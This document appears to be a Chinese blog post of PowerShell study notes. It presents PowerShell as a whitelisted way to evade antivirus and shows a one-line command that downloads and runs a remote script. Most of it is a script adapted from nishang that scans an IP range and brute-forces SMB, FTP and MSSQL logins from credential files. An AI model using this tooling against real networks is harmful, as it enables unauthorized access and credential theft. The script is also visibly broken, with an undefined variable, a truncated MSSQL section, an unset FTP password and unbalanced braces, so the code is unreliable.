Powershell学习笔记

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后，powershell已被集成在系统当中

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些，来一个脑图:

另外需要说明的是如何加载ps脚本的问题：

方法1：powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

3.实例代码

学了不用等于白学，招了一个github 源码［https://github.com/samratashok/nishang/tree/master/Scan］，

抄抄改改，写出一个端口扫描，并且支持ftp，smb和mssql爆破ps1脚本

代码：

function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
         
        [string]
        $file,
         
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
         
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
     
    #init Brute force SQL Server function

    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {

        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
             
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
             
            $openport=@()
             
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                 
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
     
                    if($client.Connected) {                     
                        $openport += $port
                 
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                     
                    $client.Close()
                 
                }
                 
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
             
            }
            }
        }
        }
    }
     
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                     
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                 
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){

                            Break
                    } 
                }
                 
            }
             
             
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
     
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]

                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green

                    }
                }
                 

            }
             
             

        }
    }
     
    Write-host "put all into $file" -ForegroundColor red
     
    }
     
     
     
     
    End {
    }
}

效果：
